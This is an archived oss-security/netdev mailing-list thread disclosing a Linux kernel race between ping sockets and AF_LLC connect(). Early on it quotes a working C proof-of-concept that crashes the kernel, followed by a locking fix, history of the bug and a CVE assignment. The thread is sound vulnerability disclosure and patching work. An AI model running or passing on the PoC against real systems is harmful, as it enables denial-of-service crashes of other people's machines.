* Re: [oss-security] Linux kernel ping socket / AF_LLC connect() sin_family race
[not found] <20170324202714.GA29241@openwall.com>
@ 2017-03-24 20:43 ` Andrey Konovalov
[not found] ` <CAAeHK+yrE7+BZztHVn-2jKgLqgzgbBEa4VWCO8SL45oD0nRxEw-JsoAwUIsXosN+BqQ9rBEUg@public.gmane.org>
0 siblings, 1 reply; 6+ messages in thread
From: Andrey Konovalov @ 2017-03-24 20:43 UTC (permalink / raw)
To: oss-security, David S. Miller, Alexey Kuznetsov, James Morris,
Hideaki YOSHIFUJI, Patrick McHardy, netdev, LKML, Eric Dumazet
Cc: Vasily Kulikov
On Fri, Mar 24, 2017 at 9:27 PM, Solar Designer <solar@openwall.com> wrote:
> Hi,
>
> I haven't fully investigated this issue, and the Subject is provisional
> (but will probably get stuck). I am not yet sure which kernel
> subsystem(s) to blame here (ping sockets? LLC sockets? other/more?), and
> there might be other ways to trigger the issue.
Reproduced the crash on current upstream
(ebe64824e9de4b3ab3bd3928312b4b2bc57b4b7e).
Adding kernel maintainers.
>
> Just off Twitter:
>
> https://twitter.com/danieljiang0415/status/845116665184497664
>
> daniel_jiang
> @danieljiang0415
> google won't fix kernel crash bug, I release the poc now.
> https://github.com/danieljiang0415/android_kernel_crash_poc
>
> And the PoC is:
>
> ---
> #include <stdio.h>
> #include <sys/socket.h>
> #include <arpa/inet.h>
> #include <stdlib.h>
> static int sockfd = 0;
> static struct sockaddr_in addr = {0};
>
> void fuzz(void * param){
> while(1){
> addr.sin_family = 0;//rand()%42;
> printf("sin_family1 = %08lx\n", addr.sin_family);
> connect(sockfd, (struct sockaddr *)&addr, 16);
> }
> }
> int main(int argc, char **argv)
> {
> sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);
> int thrd;
> pthread_create(&thrd, NULL, fuzz, NULL);
> while(1){
> addr.sin_family = 0x1a;//rand()%42;
> addr.sin_port = 0;
> addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
> connect(sockfd, (struct sockaddr *)&addr, 16);
> addr.sin_family = 0;
> }
> return 0;
> }
> ---
>
> I suppose the focus on Android is because it makes ping sockets
> available to users by default, but the bug isn't Android-specific.
>
> By granting ping sockets to a user, I am able to crash a RHEL7'ish
> system with the above PoC quickly. The crash (at least in my two tests)
> is a NULL pointer dereference in net/ipv4/ping.c: ping_v4_unhash().
> In newer upstream code, e.g. Linux 4.10.5, the function is renamed to
> ping_unhash() since it's shared with IPv6, but is otherwise similar.
>
> The two address families used by the PoC above are AF_UNSPEC and AF_LLC.
> For the latter, net/llc/af_llc.c: llc_ui_connect() checks for AF_LLC and
> then proceeds to overwrite parts of the "struct sockaddr".
> llc_ui_bind() looks similar, so the issue might also be triggerable via
> bind(). These overwrites might be directly related to the crash, or it
> might be something further. At first glance, these two functions look
> similar in RHEL7 and 4.10.5, so, if relevant, can probably be used to
> trigger the issue on latest upstream as well.
>
> At this point, I think I'll leave further investigation to someone more
> up-to-date on these interfaces and conventions. I am merely conveying
> the message, which at this point I understand only partially.
>
> Alexander
^ permalink raw reply [flat|nested] 6+ messages in thread
* Re: Linux kernel ping socket / AF_LLC connect() sin_family race
[not found] ` <CAAeHK+yrE7+BZztHVn-2jKgLqgzgbBEa4VWCO8SL45oD0nRxEw-JsoAwUIsXosN+BqQ9rBEUg@public.gmane.org>
@ 2017-03-24 22:21 ` Eric Dumazet
2017-03-25 0:10 ` Solar Designer
0 siblings, 1 reply; 6+ messages in thread
From: Eric Dumazet @ 2017-03-24 22:21 UTC (permalink / raw)
To: Andrey Konovalov
Cc: oss-security-ZwoEplunGu1jrUoiu81ncdBPR1lH4CV8, David S. Miller,
Alexey Kuznetsov, James Morris, Hideaki YOSHIFUJI,
Patrick McHardy, netdev, LKML, Vasily Kulikov
[-- Attachment #1: Type: text/plain, Size: 1593 bytes --]
On Fri, Mar 24, 2017 at 1:43 PM, Andrey Konovalov <andreyknvl-hpIqsD4AKlfQT0dZR+AlfA@public.gmane.org>
wrote:
> On Fri, Mar 24, 2017 at 9:27 PM, Solar Designer <solar-cxoSlKxDwOJWk0Htik3J/w@public.gmane.org>
> wrote:
> > Hi,
> >
> > I haven't fully investigated this issue, and the Subject is provisional
> > (but will probably get stuck). I am not yet sure which kernel
> > subsystem(s) to blame here (ping sockets? LLC sockets? other/more?), and
> > there might be other ways to trigger the issue.
>
> Reproduced the crash on current upstream
> (ebe64824e9de4b3ab3bd3928312b4b2bc57b4b7e).
>
> Adding kernel maintainers.
>
Looks easy enough to fix ?
diff --git a/net/ipv4/ping.c b/net/ipv4/ping.c
index
2af6244b83e27ae384e96cf071c10c5a89674804..ccfbce13a6333a65dab64e4847dd510dfafb1b43
100644
--- a/net/ipv4/ping.c
+++ b/net/ipv4/ping.c
@@ -156,17 +156,18 @@ int ping_hash(struct sock *sk)
void ping_unhash(struct sock *sk)
{
struct inet_sock *isk = inet_sk(sk);
+
pr_debug("ping_unhash(isk=%p,isk->num=%u)\n", isk, isk->inet_num);
+ write_lock_bh(&ping_table.lock);
if (sk_hashed(sk)) {
- write_lock_bh(&ping_table.lock);
hlist_nulls_del(&sk->sk_nulls_node);
sk_nulls_node_init(&sk->sk_nulls_node);
sock_put(sk);
isk->inet_num = 0;
isk->inet_sport = 0;
sock_prot_inuse_add(sock_net(sk), sk->sk_prot, -1);
- write_unlock_bh(&ping_table.lock);
}
+ write_unlock_bh(&ping_table.lock);
}
EXPORT_SYMBOL_GPL(ping_unhash);
^ permalink raw reply [flat|nested] 6+ messages in thread
* Re: [oss-security] Linux kernel ping socket / AF_LLC connect() sin_family race
@ 2017-03-25 0:10 ` Solar Designer
0 siblings, 0 replies; 6+ messages in thread
From: Solar Designer @ 2017-03-25 0:10 UTC (permalink / raw)
To: oss-security
Cc: Eric Dumazet, Andrey Konovalov, David S. Miller,
Alexey Kuznetsov, James Morris, Hideaki YOSHIFUJI,
Patrick McHardy, netdev, LKML, Vasily Kulikov
On Fri, Mar 24, 2017 at 03:21:06PM -0700, Eric Dumazet wrote:
> Looks easy enough to fix ?
Oh. Probably. Thanks. Need to test, but I guess you already did?
> diff --git a/net/ipv4/ping.c b/net/ipv4/ping.c
> index
> 2af6244b83e27ae384e96cf071c10c5a89674804..ccfbce13a6333a65dab64e4847dd510dfafb1b43
> 100644
> --- a/net/ipv4/ping.c
> +++ b/net/ipv4/ping.c
> @@ -156,17 +156,18 @@ int ping_hash(struct sock *sk)
> void ping_unhash(struct sock *sk)
> {
> struct inet_sock *isk = inet_sk(sk);
> +
> pr_debug("ping_unhash(isk=%p,isk->num=%u)\n", isk, isk->inet_num);
> + write_lock_bh(&ping_table.lock);
> if (sk_hashed(sk)) {
> - write_lock_bh(&ping_table.lock);
> hlist_nulls_del(&sk->sk_nulls_node);
> sk_nulls_node_init(&sk->sk_nulls_node);
> sock_put(sk);
> isk->inet_num = 0;
> isk->inet_sport = 0;
> sock_prot_inuse_add(sock_net(sk), sk->sk_prot, -1);
> - write_unlock_bh(&ping_table.lock);
> }
> + write_unlock_bh(&ping_table.lock);
> }
> EXPORT_SYMBOL_GPL(ping_unhash);
FWIW, in Pavel's original implementation for 2.4.32 (unused), this was:
static void ping_v4_unhash(struct sock *sk)
{
DEBUG(("ping_v4_unhash(sk=%p,sk->num=%u)\n", sk, sk->num));
write_lock_bh(&ping_hash_lock);
if (sk->pprev) {
if (sk->next)
sk->next->pprev = sk->pprev;
*sk->pprev = sk->next;
sk->pprev = NULL;
sk->num = 0;
sock_prot_dec_use(sk->prot);
__sock_put(sk);
}
write_unlock_bh(&ping_hash_lock);
}
Looks like the erroneous optimization (not expecting concurrent activity
on the same socket?) was introduced during conversion to 2.6's hlists.
So far this cursed function had 3 bugs, two of them security (including
this one) and one probably benign (or if not, then effectively a subset
of this bug as it performed some unneeded / stale debugging work before
acquiring the lock), with all 3 introduced in forward-porting. Maybe
the nature of forward-porting activity makes people relatively
inattentive ("compiles with the new interfaces and still works? must be
correct"), compared to when writing new code.
Anyhow, I share some responsibility for this mess, for having advocated
this patch being forward-ported and merged back then. I still like
having this functionality and its userspace security benefits... but I
don't like the kernel bugs.
Alexander
^ permalink raw reply [flat|nested] 6+ messages in thread
* Re: Linux kernel ping socket / AF_LLC connect() sin_family race
@ 2017-03-25 0:10 ` Solar Designer
0 siblings, 0 replies; 6+ messages in thread
From: Solar Designer @ 2017-03-25 0:10 UTC (permalink / raw)
To: oss-security-ZwoEplunGu1jrUoiu81ncdBPR1lH4CV8
Cc: Eric Dumazet, Andrey Konovalov, David S. Miller,
Alexey Kuznetsov, James Morris, Hideaki YOSHIFUJI,
Patrick McHardy, netdev, LKML, Vasily Kulikov
On Fri, Mar 24, 2017 at 03:21:06PM -0700, Eric Dumazet wrote:
> Looks easy enough to fix ?
Oh. Probably. Thanks. Need to test, but I guess you already did?
> diff --git a/net/ipv4/ping.c b/net/ipv4/ping.c
> index
> 2af6244b83e27ae384e96cf071c10c5a89674804..ccfbce13a6333a65dab64e4847dd510dfafb1b43
> 100644
> --- a/net/ipv4/ping.c
> +++ b/net/ipv4/ping.c
> @@ -156,17 +156,18 @@ int ping_hash(struct sock *sk)
> void ping_unhash(struct sock *sk)
> {
> struct inet_sock *isk = inet_sk(sk);
> +
> pr_debug("ping_unhash(isk=%p,isk->num=%u)\n", isk, isk->inet_num);
> + write_lock_bh(&ping_table.lock);
> if (sk_hashed(sk)) {
> - write_lock_bh(&ping_table.lock);
> hlist_nulls_del(&sk->sk_nulls_node);
> sk_nulls_node_init(&sk->sk_nulls_node);
> sock_put(sk);
> isk->inet_num = 0;
> isk->inet_sport = 0;
> sock_prot_inuse_add(sock_net(sk), sk->sk_prot, -1);
> - write_unlock_bh(&ping_table.lock);
> }
> + write_unlock_bh(&ping_table.lock);
> }
> EXPORT_SYMBOL_GPL(ping_unhash);
FWIW, in Pavel's original implementation for 2.4.32 (unused), this was:
static void ping_v4_unhash(struct sock *sk)
{
DEBUG(("ping_v4_unhash(sk=%p,sk->num=%u)\n", sk, sk->num));
write_lock_bh(&ping_hash_lock);
if (sk->pprev) {
if (sk->next)
sk->next->pprev = sk->pprev;
*sk->pprev = sk->next;
sk->pprev = NULL;
sk->num = 0;
sock_prot_dec_use(sk->prot);
__sock_put(sk);
}
write_unlock_bh(&ping_hash_lock);
}
Looks like the erroneous optimization (not expecting concurrent activity
on the same socket?) was introduced during conversion to 2.6's hlists.
So far this cursed function had 3 bugs, two of them security (including
this one) and one probably benign (or if not, then effectively a subset
of this bug as it performed some unneeded / stale debugging work before
acquiring the lock), with all 3 introduced in forward-porting. Maybe
the nature of forward-porting activity makes people relatively
inattentive ("compiles with the new interfaces and still works? must be
correct"), compared to when writing new code.
Anyhow, I share some responsibility for this mess, for having advocated
this patch being forward-ported and merged back then. I still like
having this functionality and its userspace security benefits... but I
don't like the kernel bugs.
Alexander
^ permalink raw reply [flat|nested] 6+ messages in thread
* Re: [oss-security] Linux kernel ping socket / AF_LLC connect() sin_family race
2017-03-25 0:10 ` Solar Designer
(?)
@ 2017-04-04 15:20 ` Marcus Meissner
[not found] ` <20170404152039.GH3687-l3A5Bk7waGM@public.gmane.org>
-1 siblings, 1 reply; 6+ messages in thread
From: Marcus Meissner @ 2017-04-04 15:20 UTC (permalink / raw)
To: oss-security
Cc: Eric Dumazet, Andrey Konovalov, David S. Miller,
Alexey Kuznetsov, James Morris, Hideaki YOSHIFUJI,
Patrick McHardy, netdev, LKML, Vasily Kulikov
Hi,
did anyone request a CVE yet?
Ciao, Marcus
On Sat, Mar 25, 2017 at 01:10:57AM +0100, Solar Designer wrote:
> On Fri, Mar 24, 2017 at 03:21:06PM -0700, Eric Dumazet wrote:
> > Looks easy enough to fix ?
>
> Oh. Probably. Thanks. Need to test, but I guess you already did?
>
> > diff --git a/net/ipv4/ping.c b/net/ipv4/ping.c
> > index
> > 2af6244b83e27ae384e96cf071c10c5a89674804..ccfbce13a6333a65dab64e4847dd510dfafb1b43
> > 100644
> > --- a/net/ipv4/ping.c
> > +++ b/net/ipv4/ping.c
> > @@ -156,17 +156,18 @@ int ping_hash(struct sock *sk)
> > void ping_unhash(struct sock *sk)
> > {
> > struct inet_sock *isk = inet_sk(sk);
> > +
> > pr_debug("ping_unhash(isk=%p,isk->num=%u)\n", isk, isk->inet_num);
> > + write_lock_bh(&ping_table.lock);
> > if (sk_hashed(sk)) {
> > - write_lock_bh(&ping_table.lock);
> > hlist_nulls_del(&sk->sk_nulls_node);
> > sk_nulls_node_init(&sk->sk_nulls_node);
> > sock_put(sk);
> > isk->inet_num = 0;
> > isk->inet_sport = 0;
> > sock_prot_inuse_add(sock_net(sk), sk->sk_prot, -1);
> > - write_unlock_bh(&ping_table.lock);
> > }
> > + write_unlock_bh(&ping_table.lock);
> > }
> > EXPORT_SYMBOL_GPL(ping_unhash);
>
> FWIW, in Pavel's original implementation for 2.4.32 (unused), this was:
>
> static void ping_v4_unhash(struct sock *sk)
> {
> DEBUG(("ping_v4_unhash(sk=%p,sk->num=%u)\n", sk, sk->num));
> write_lock_bh(&ping_hash_lock);
> if (sk->pprev) {
> if (sk->next)
> sk->next->pprev = sk->pprev;
> *sk->pprev = sk->next;
> sk->pprev = NULL;
> sk->num = 0;
> sock_prot_dec_use(sk->prot);
> __sock_put(sk);
> }
> write_unlock_bh(&ping_hash_lock);
> }
>
> Looks like the erroneous optimization (not expecting concurrent activity
> on the same socket?) was introduced during conversion to 2.6's hlists.
>
> So far this cursed function had 3 bugs, two of them security (including
> this one) and one probably benign (or if not, then effectively a subset
> of this bug as it performed some unneeded / stale debugging work before
> acquiring the lock), with all 3 introduced in forward-porting. Maybe
> the nature of forward-porting activity makes people relatively
> inattentive ("compiles with the new interfaces and still works? must be
> correct"), compared to when writing new code.
>
> Anyhow, I share some responsibility for this mess, for having advocated
> this patch being forward-ported and merged back then. I still like
> having this functionality and its userspace security benefits... but I
> don't like the kernel bugs.
>
> Alexander
>
--
Marcus Meissner,SUSE LINUX GmbH; Maxfeldstrasse 5; D-90409 Nuernberg; Zi. 3.1-33,+49-911-740 53-432,,serv=loki,mail=wotan,type=real <meissner@suse.de>
^ permalink raw reply [flat|nested] 6+ messages in thread
* Re: Linux kernel ping socket / AF_LLC connect() sin_family race
[not found] ` <20170404152039.GH3687-l3A5Bk7waGM@public.gmane.org>
@ 2017-04-04 18:24 ` Kurt Seifried
0 siblings, 0 replies; 6+ messages in thread
From: Kurt Seifried @ 2017-04-04 18:24 UTC (permalink / raw)
To: oss-security
Cc: Eric Dumazet, Andrey Konovalov, David S. Miller,
Alexey Kuznetsov, James Morris, Hideaki YOSHIFUJI,
Patrick McHardy, netdev, LKML, Vasily Kulikov, Wade Mealing
[-- Attachment #1: Type: text/plain, Size: 3526 bytes --]
Assuming MITRE hasn't had a request for this yet, please use CVE-2017-2671
for this issue.
On Tue, Apr 4, 2017 at 9:20 AM, Marcus Meissner <meissner-l3A5Bk7waGM@public.gmane.org> wrote:
> Hi,
>
> did anyone request a CVE yet?
>
> Ciao, Marcus
> On Sat, Mar 25, 2017 at 01:10:57AM +0100, Solar Designer wrote:
> > On Fri, Mar 24, 2017 at 03:21:06PM -0700, Eric Dumazet wrote:
> > > Looks easy enough to fix ?
> >
> > Oh. Probably. Thanks. Need to test, but I guess you already did?
> >
> > > diff --git a/net/ipv4/ping.c b/net/ipv4/ping.c
> > > index
> > > 2af6244b83e27ae384e96cf071c10c5a89674804..
> ccfbce13a6333a65dab64e4847dd510dfafb1b43
> > > 100644
> > > --- a/net/ipv4/ping.c
> > > +++ b/net/ipv4/ping.c
> > > @@ -156,17 +156,18 @@ int ping_hash(struct sock *sk)
> > > void ping_unhash(struct sock *sk)
> > > {
> > > struct inet_sock *isk = inet_sk(sk);
> > > +
> > > pr_debug("ping_unhash(isk=%p,isk->num=%u)\n", isk,
> isk->inet_num);
> > > + write_lock_bh(&ping_table.lock);
> > > if (sk_hashed(sk)) {
> > > - write_lock_bh(&ping_table.lock);
> > > hlist_nulls_del(&sk->sk_nulls_node);
> > > sk_nulls_node_init(&sk->sk_nulls_node);
> > > sock_put(sk);
> > > isk->inet_num = 0;
> > > isk->inet_sport = 0;
> > > sock_prot_inuse_add(sock_net(sk), sk->sk_prot, -1);
> > > - write_unlock_bh(&ping_table.lock);
> > > }
> > > + write_unlock_bh(&ping_table.lock);
> > > }
> > > EXPORT_SYMBOL_GPL(ping_unhash);
> >
> > FWIW, in Pavel's original implementation for 2.4.32 (unused), this was:
> >
> > static void ping_v4_unhash(struct sock *sk)
> > {
> > DEBUG(("ping_v4_unhash(sk=%p,sk->num=%u)\n", sk, sk->num));
> > write_lock_bh(&ping_hash_lock);
> > if (sk->pprev) {
> > if (sk->next)
> > sk->next->pprev = sk->pprev;
> > *sk->pprev = sk->next;
> > sk->pprev = NULL;
> > sk->num = 0;
> > sock_prot_dec_use(sk->prot);
> > __sock_put(sk);
> > }
> > write_unlock_bh(&ping_hash_lock);
> > }
> >
> > Looks like the erroneous optimization (not expecting concurrent activity
> > on the same socket?) was introduced during conversion to 2.6's hlists.
> >
> > So far this cursed function had 3 bugs, two of them security (including
> > this one) and one probably benign (or if not, then effectively a subset
> > of this bug as it performed some unneeded / stale debugging work before
> > acquiring the lock), with all 3 introduced in forward-porting. Maybe
> > the nature of forward-porting activity makes people relatively
> > inattentive ("compiles with the new interfaces and still works? must be
> > correct"), compared to when writing new code.
> >
> > Anyhow, I share some responsibility for this mess, for having advocated
> > this patch being forward-ported and merged back then. I still like
> > having this functionality and its userspace security benefits... but I
> > don't like the kernel bugs.
> >
> > Alexander
> >
>
> --
> Marcus Meissner,SUSE LINUX GmbH; Maxfeldstrasse 5; D-90409 Nuernberg; Zi.
> 3.1-33,+49-911-740 53-432,,serv=loki,mail=wotan,type=real <
> meissner-l3A5Bk7waGM@public.gmane.org>
>
--
Kurt Seifried -- Red Hat -- Product Security -- Cloud
PGP A90B F995 7350 148F 66BF 7554 160D 4553 5E26 7993
Red Hat Product Security contact: secalert-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org
^ permalink raw reply [flat|nested] 6+ messages in thread
end of thread, other threads:[~2017-04-04 18:24 UTC | newest]
Thread overview: 6+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
[not found] <20170324202714.GA29241@openwall.com>
2017-03-24 20:43 ` [oss-security] Linux kernel ping socket / AF_LLC connect() sin_family race Andrey Konovalov
[not found] ` <CAAeHK+yrE7+BZztHVn-2jKgLqgzgbBEa4VWCO8SL45oD0nRxEw-JsoAwUIsXosN+BqQ9rBEUg@public.gmane.org>
2017-03-24 22:21 ` Eric Dumazet
2017-03-25 0:10 ` [oss-security] " Solar Designer
2017-03-25 0:10 ` Solar Designer
2017-04-04 15:20 ` [oss-security] " Marcus Meissner
[not found] ` <20170404152039.GH3687-l3A5Bk7waGM@public.gmane.org>
2017-04-04 18:24 ` Kurt Seifried
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.